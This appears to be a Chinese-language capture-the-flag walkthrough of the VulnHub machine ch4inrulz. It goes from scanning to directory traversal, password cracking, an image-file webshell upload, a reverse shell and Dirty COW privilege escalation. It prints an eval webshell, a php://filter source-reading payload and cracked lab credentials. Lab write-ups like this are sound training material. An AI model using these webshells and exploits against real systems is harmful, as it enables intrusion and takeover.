ch4inrulz是vulnhub的一款靶机,可以从此处下载:https://www.vulnhub.com/entry/ch4inrulz-101,247/。下载文件尾ova格式,用VM或者Vittualbox直接导入即可。需要注意的是,在打开靶机之前,需要把网络设置为桥接或者NAT。打开靶机后,我们的靶机的各个服务就已经开启了,不需要再对靶机进行登录操作,所以不用再百度登录密码什么的了。
0.png


0x01 环境说明

靶机环境ch4inrulz: 192.168.1.105

攻击机kali: 192.168.1.104


0x02 信息收集

用nmap扫描整个网段,发现靶机ip。
nmap -sn 192.168.1.0/24
1.png
这里的靶机ip为192.168.1.105,针对这个ip进行进一步的扫描,获取端口开放情况和服务状态。
nmap -sS -A 192.168.1.105
2.png
由扫描结果可知,靶机开启了ftp21端口,ssh22端口,web80端口,web8011端口。

ftp允许匿名登录,登录查看没有什么有价值的信息。
3.png


0x03 目录扫描

我们先访问web服务,这看起来像个人网站,只有一个页面。
4.png

没发现什么有价值的东西,扫一下目录。
dirb http://192.168.1.105
5.png

挨个访问目录,没有什么特别的。需要注意的是,在实际渗透中,很多网站都对ip访问次数和频率做出了严格限制,一扫目录IP被ban,这就只能借助IP池或者单线程慢悠悠的扫了。
访问development目录,需要登录,随意测试了一下,不存在弱口令,先记下。
12.png

80端口的web服务就没有其它有用的信息了,访问8011端口。
6.png
什么也没有,目录扫描。
7.png
8.png

发现4个API接口,挨个访问,只有files_api.php存在,其它都显示404。
9.png
这里用file参数测试了一下,被拦截。
10.png

换用post方式提交数据,存在目录遍历漏洞。
11.png

然后综合我们已经收集到的信息,最有可能的突破点就是401登录认证,查看服务器配置apache,apache实现401认证关键文件为.htpasswd和.htaccess,.htaccess文件必须放在需要保护的文件目录下,而.htpasswd可以放置于任何位置,其位置会在.htaccess文件中指明。这里我们随意尝试,/etc/目录下找到.htpasswd文件。

(其实在对80端口进行目录扫描的时候,可以扫到index.html.bak文件,其中包含密码。但是dirb没有扫到,用御剑是可以扫到的,所以在进行目录扫描的时候不妨多用几种扫描器)

(还有一种思路,网站显示在开发中,那么就很有可能存在备份文件)
13.png


0x04 密码破解

这里我们使用John进行爆破,John用法:john <filename>
14.png

frank:frank!!!

输入用户名密码尝试登陆
15.png


0x05 文件上传

访问uploader,发现是一个文件上传界面,从”安全性完成50%”猜测可能存在文件上传漏洞。
16.png

任意上传一个jpg文件,显示结果如下
18.png

而上传php文件不成功
17.png

即使修改了content-type并且在文件头GIF98依旧上传不了PHP,配合刚才的文件包含漏洞,尝试上传图片马,上传成功。
20.png

虽然上传成功了,但是我们并不知道文件存储路径,尝试是否能包含upload.php,使用PHP伪协议

php://filter/convert.base64-encode/resource=xxx

尝试了几次,成功读取文件
21.png

base64解密
22.png

从中我们可以得到上传路径/FRANKuploads/

(其实可以先用文件包含漏洞将源码暴露出来,代码审计后上传文件)

既然是图片马,直接尝试PHP反向连接马,kali在/usr/share/webshells/php/php-reverse-shell.php,上传
23.png

包含图片马并监听7777端口
24.png

25.png

成功得到shell,用Python切换shell(应该是为了更美观方便)

  1. python -c 'import pty;pty.spawn("/bin/bash")'

27.png

除了上传PHP反向连接图片马,一句话图片马也可以,配置如下:

  1. <?php @eval($_POST[value]);?>

32.png
33.png
34.png


0x06 提权

uname -a 查看linux内核版本
26.png

使用脏牛(CVE-2016-5195)提权

Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权

将提权脚本下载到本机,再通过http服务供靶机下载,注意只有在tmp目录下才有下载权限。编译运行,即可以通过ssh:firefart@toor连接靶机,root权限。
29.png

ssh连接,提权成功
30.png

当然也可以使用该exp进行提权
31.png